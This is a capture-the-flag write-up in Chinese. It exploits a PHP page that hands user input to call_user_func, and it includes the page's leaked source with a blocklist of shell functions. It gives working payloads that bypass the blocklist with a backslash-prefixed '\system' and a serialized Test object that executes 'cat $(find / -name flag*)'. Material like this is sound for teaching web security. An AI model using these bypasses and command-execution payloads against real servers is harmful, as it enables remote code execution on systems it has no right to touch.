目录
信息收集
方法一:in_array()函数绕过
方法二:反序列化漏洞利用
信息收集
抓个包,发现POST传入以下内容
func=date&p=Y-m-d+h%3Ai%3As+a
func和p的值分别为一个待执行的函数和函数的参数
构造payload
尝试func=phpinfo&p= 回显 Hacker... 说明对该函数进行了过滤
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'phpinfo()' not found or invalid function name in /var/www/html/index.php on line 24
回显发现有个/var/www/html/index.php,尝试读取该文件
常见的读取文件的函数
<?php
// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;
// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024); // 参数为 resource 类型
fclose($file);
echo PHP_EOL;
// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgets($file, 4096); // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgetss($file, 4096); // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt"); // 看到不仅输出了所有内容,而且还输出了总共长度
echo PHP_EOL;
// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt')); // 读取结果为数组,所以需要用 print_r 或 var_dump
echo PHP_EOL;
// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt"); // 只能读取 ini 配置文件
echo PHP_EOL;
// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;
// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;
?>
构造payload
func=readfile&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
方法一:in_array()函数绕过
<?php
$func='\system';
$p='whoami';
echo call_user_func($func, $p);
?>
<?php
echo \system("whoami");
?>
func=\system&p=cat $(find / -name flag*)
方法二:反序列化漏洞利用
未禁用 unserialize,我们可以通过call_user_func来unserialize反序列化构建出Test类,当类被回收时执行gettime函数,通过控制类中p和func的值配合call_user_func实现命令执行。
call_user_func()函数,会对我们传入的参数进行命令(代码)执行
system("find / -name flag*"):查找所有文件名匹配flag*的文件
system("cat $(find / -name flag)"):打印所有文件名匹配flag*的文件
<?php
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "cat $(find / -name flag*)";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
echo serialize($a);
?>
payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}